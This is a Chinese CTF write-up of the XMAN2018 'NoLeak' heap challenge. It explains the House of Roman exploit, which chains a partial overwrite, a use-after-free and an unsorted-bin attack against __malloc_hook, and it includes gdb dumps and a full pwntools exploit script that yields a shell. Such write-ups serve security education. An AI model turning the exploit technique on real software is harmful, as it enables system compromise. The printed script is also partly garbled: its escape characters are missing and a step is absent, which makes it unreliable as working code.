XMAN2018选拔赛之NoLeak

前言

这道题没有printf之类的函数可以输出堆块内容,正如其名不存在地址泄露,当时没有任何思路,赛后经大佬指点得知使用了House of Roman的技巧。

House of Roman技巧的核心是利用局部写(低12bits)来减少随机性进而爆破出地址。

 

ASLR Low 12 bits

程序虽然开启了ASLR,但其低12bits随机化程度较小,观察__malloc_hook 与 main_arena+88 :

gef➤  p &__malloc_hook

$1 = (void *(**)(size_t, const void *)) 0x7fbda51e0af0 <__malloc_hook>

gef➤  x/10xg 0x65b160

0x65b160: 0x6363636363636363 0x00000000000000d1

0x65b170: 0x000000000065b020 0x00007fbda51e0b58

0x65b180: 0x6464646464646464 0x6464646464646464

0x65b190: 0x6464646464646464 0x6464646464646464

0x65b1a0: 0x6464646464646464 0x6464646464646464

可以看到仅低12bits不同,因此可以覆盖低16位为固定值(1字节为单位),运行少量次数即可命中13~16位实现爆破。

 

题目分析

NoLeak未开启PIE入口地址为0x400000,GOT表不可写,共享库开启了地址随机化。

qts@qts-PC:~/ctf/NoLeak$ checksec NoLeak

[*] '/home/qts/ctf/NoLeak/NoLeak'

    Arch:     amd64-64-little

    RELRO:    Full RELRO

    Stack:    Canary found

    NX:       NX disabled

    PIE:      No PIE (0x400000)

    RWX:      Has RWX segments

qts@qts-PC:~/ctf/NoLeak$ checksec libc-2.24.so

[*] '/home/qts/ctf/NoLeak/libc-2.24.so'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      PIE enabled

题目还是基本的Create、Update、Delete,但是这里没有printf函数显示堆块里面的内容,所以无法泄露堆地址和libc地址。

https://p3.ssl.qhimg.com/t01a29974a6217533c9.pngCreate操作可以分配任意长度的堆块,堆块数量限制为10个。

https://p4.ssl.qhimg.com/t01ec1e7e988a047061.png

free操作没有将指针清零,导致存在UAF漏洞。

https://p0.ssl.qhimg.com/t0180c613d809ef4805.png

Update操作可以往堆块内填入任意长度的字符串导致堆块头指针被改写。

https://p1.ssl.qhimg.com/t011764741472c93394.png

 

思路

首先分配5个chunk分别ABCDE,大小分别为0x200xd00x700xd00x70

B+0x68的位置写上0x61,作用是将B分为size = 0x70size = 0x60的两个块

释放B和D进入unsorted bin,此时B+0x10B+0x18都有main_arena的地址

再次分配B,此时B+0x10处保留main_arena中的地址,B->bk处保了D的地址(指向D的指针)

释放C和E进入size=0x70fastbin

从A块溢出,修改B的size字段为0x71,用于绕过fastbin的大小检查,同时利用UAF修改E的fd指针低8bits0x20(因为此时堆块之间的偏移是相对固定的),使之指向B(此时B包含了main_arena的地址)

此时B->size = 0x71B+0x68的位置写上0x61,也就构造了fake fastbin。修改B->fd的低2字节使fd指向malloc_hook-0x23处(因为此时malloc_hook – 0x23 + 0x8处为0x7f可以绕过fastbin的大小检查)

连续分配三次0x70的块,第三次得到对malloc_hook写的权限

释放C块进入fastbin,同时利用UAF修改C->fd = 0修复fastbin

此时unsorted bin里面还剩D,利用UAF修改D->bk  = malloc_hook – 0x10,为unsorted bin attack做准备

申请一个与D同样大小的块,触发unsorted bin attack,在malloc_hook的位置写入main_arena的地址

修改malloc_hook低3字节,使之指向one_gadget

两次释放A触发malloc_printerr从而触发malloc最终得到shell

 

EXP分析

为了方便调试先关闭ASLR:

qts@qts-PC:~/ctf/NoLeak$ sudo sh -c 'echo 
0 >/proc/sys/kernel/randomize_va_space'

首先创建5个块,并在B块中伪造fast chunk。

C(0x10,’a’*0x10)                     #A

C(0xc8,’b’*0x60+p64(0)+p64(0x61))   #B

C(0x68,’c’*0x68)                     #C

C(0Xc8,’d’*0x68)                     #D

C(0X68,’d’*0x68)                     #E

释放B、D进入unsorted bin

D(1)

D(3)

C(0xc8,'')               #5 get the address of main_arena

再次分配0xd0的块,将B从unsorted bin脱下,此时B->fd = 0x7ffff7dd3b0amain_arena中的地址,B->bk = 0x602160为D的地址(此时D还在unsorted bin中)

gef➤  x/10xg 0x602000

0x602000: 0x0000000000000000 0x0000000000000021        <--  A

0x602010: 0x6161616161616161 0x6161616161616161

0x602020: 0x0000000000000000 0x00000000000000d1        <--  B

0x602030: 0x00007ffff7dd3b0a 0x0000000000602160

0x602040: 0x6262626262626262 0x6262626262626262

gef➤  x/10xg 0x602160

0x602160: 0x6363636363636363 0x00000000000000d1        <--  D

0x602170: 0x00007ffff7dd3b78 0x00007ffff7dd3b78

0x602180: 0x6464646464646464 0x6464646464646464

将C和E释放进入fastbin中,利用UAF修改E的fd指针低8bits为0x20使之指向B块(前面调试过程中可以看到B的低8bits为0x20且相对固定不变),同时利用A块的溢出修改B的size = 0x71绕过后面的fastbin检查(在size = 0x70的fastbin中,所有的chunk的size都必须为0x71~0x7f

D(2)           #C

D(4)           #E

U(4,1,'x20')                        # fake fastbin chain

U(0,0x19,'e'*0x10+p64(0)+'x71')

U(1,0x2,__malloc_hook_up)

同样修改B->fd字段的低2字节使之指向__malloc_hook – 0x23(因为之前B->fd已经是main_arena中的地址,所以只要修改低2字节就可以使之指向),这样就在__malloc_hook附近也伪造了一个fast chunk

gef➤  x/10xg 0x602020 + 0xd0                  # B+0xd0 ,C块

0x6020f0: 0x00000000000000d0 0x0000000000000071

0x602100: 0x0000000000000000 0x6363636363636363       # C->fd = NULL

0x602110: 0x6363636363636363 0x6363636363636363

gef➤  x/10xg 0x6020f0 + 0xd0 + 0x70           # C+0xd0+0x70 ,E块

0x602230: 0x00000000000000d0 0x0000000000000070

0x602240: 0x0000000000602020 0x6464646464646464      # E->fd 指向 B

0x602250: 0x6464646464646464 0x6464646464646464

gef➤  x/10xg 0x602020                         # B块

0x602020: 0x0000000000000000 0x0000000000000071      # B->size已被修改为0x70

0x602030: 0x00007ffff7dd3aed 0x0000000000602160      # B->fd 指向 malloc_hook - 0x23

0x602040: 0x6262626262626262 0x6262626262626262

gef➤  x/10xg 0x00007ffff7dd3aed               # malloc_hook - 0x23

0x7ffff7dd3aed: 0xfff7dd2260000000 0x000000000000007f     # malloc_hook - 0x23 + 0x8 处为0x71,绕过fastbin大小检查

0x7ffff7dd3afd: 0xfff7a953f0000000 0xfff7a94fd000007f

此时fastbin的结构为:https://p5.ssl.qhimg.com/t0105eb7d7bfb374bb1.png

三次分配得到对malloc_hook的修改权限

C(0x68,'f'*0x68)

C(0x68,'g'*0x8)

C(0x68,'h'*0x8)

再次释放C块,利用UAF修改C->fd  = NULL 修复fastbin,否则再次分配堆块的时候会报错

D(2)

U(2,8,p64(0))

接下来就是unsorted bin attack,D一直在unsorted bin中,利用UAF修改D->bk低3字节,使之指向malloc_hook – 0x10,再次分配0xd0的块使D脱链触发unsorted bin attack,从而在malloc_hook处写入main_arena的地址

U(3,0xa,'asasasas'+__malloc_hook)

C(0xc8,'')

gef➤  p &__malloc_hook

$2 = (<data variable, no debug info> *) 0x7ffff7dd3b10 <__malloc_hook>

gef➤  x/10xg 0x7ffff7dd3b10

0x7ffff7dd3b10 <__malloc_hook>: 0x00007ffff7dd3b78 0x0000000000000000

0x7ffff7dd3b20: 0x0000000000000000 0x0000000000000000

修改malloc_hook低3字节指向one_gadget,连续两次释放A块(double free)触发malloc_printerr进而触发malloc,最终getshell。

one4 = 'xf4xf9xaf'

U(8,0×16,’a’*0x13+one4)

D(0)

D(0)

p.interactive()

qts@qts-PC:~/ctf/NoLeak$ ./exp.py

[+] Starting local process './NoLeak': pid 13358

[*] '/home/qts/ctf/NoLeak/NoLeak'

    Arch:     amd64-64-little

    RELRO:    Full RELRO

    Stack:    Canary found

    NX:       NX disabled

    PIE:      No PIE (0x400000)

    RWX:      Has RWX segments

malloc_hook get !

[*] Switching to interactive mode

*** Error in `./NoLeak': double free or corruption (fasttop): 0x0000000000602010 ***

$ whoami

qts

$

以上为关闭ASLR的调试结果

 

总结

House of Roman仅需UAF分配任意大小的堆块就可以getshell。最具技巧的部分还是局部地址写,之所以这样是应为ASLR本身并不能完全随机化,可以修改部分位绕过ASLR。

有不当之处请大家指正。

 

参考

https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc

https://pan.baidu.com/s/1Ns27DuU8dc6BAEmvnqkwyQ

 

利用脚本

#!/usr/bin/env python2.7

from pwn import *

import pwnlib

#p = process('./NoLeak',env={"LD_PRELOAD":"./libc-2.24.so"})

context.terminal = ['gnome-terminal','-x','sh','-c']

#libc = ELF('libc-2.23.so')

p = process('./NoLeak',env={"LD_PRELOAD":"./libc-2.23.so"})

#p = process('./NoLeak')i

elf = ELF('NoLeak')

def C(size,data):

    p.recvuntil('Your choice :')

    p.sendline(str(1))

    p.recvuntil('Size: ')

    p.sendline(str(size))

    p.recvuntil('Data: ',timeout=1)

    p.sendline(data)

def D(index):

    p.recvuntil('Your choice :',timeout=1)

    p.sendline(str(2))

    p.recvuntil('Index: ')

    p.sendline(str(index))

def U(index,size,data):

    p.recvuntil('Your choice :',timeout=1)

    p.sendline(str(3))

    p.recvuntil('Index: ',timeout=1)

    p.sendline(str(index))

    p.recvuntil('Size: ',timeout=1)

    p.sendline(str(size))

    p.recvuntil('Data: ')

    p.sendline(data)

def g():

    pwnlib.gdb.attach(p)

    raw_input()

__malloc_hook = 'x00x3b'

__malloc_hook_up = 'xedx3a'        # beg for lucky!!

C(0x10,'a'*0x10)                     #0

C(0xc8,'b'*0x60+p64(0)+p64(0x61))    #1

C(0x68,'c'*0x68)                     #2

C(0Xc8,'d'*0x68)                     #3

C(0X68,'d'*0x68)                     #4

D(1)

D(3)

C(0xc8,'')                           #5 get the address of main_arena

D(2)

D(4)

U(4,1,'x20')                        # fake fastbin chain

U(0,0x19,'e'*0x10+p64(0)+'x71')

U(1,0x2,__malloc_hook_up)

C(0x68,'f'*0x68)                     #6

C(0x68,'g'*0x8)                      #7

C(0x68,'h'*0x8)                      #8 get the space over malloc_hook

print "malloc_hook get ! "

D(2)                                 # link into fastbin

U(2,8,p64(0))                        # fix fastbin

U(3,0xa,'asasasas'+__malloc_hook)

C(0xc8,'')                           #9

one4 = 'xf4xf9xaf'

D(0)

D(0)

p.interactive()

D(0)

D(0)

p.interactive()
(完)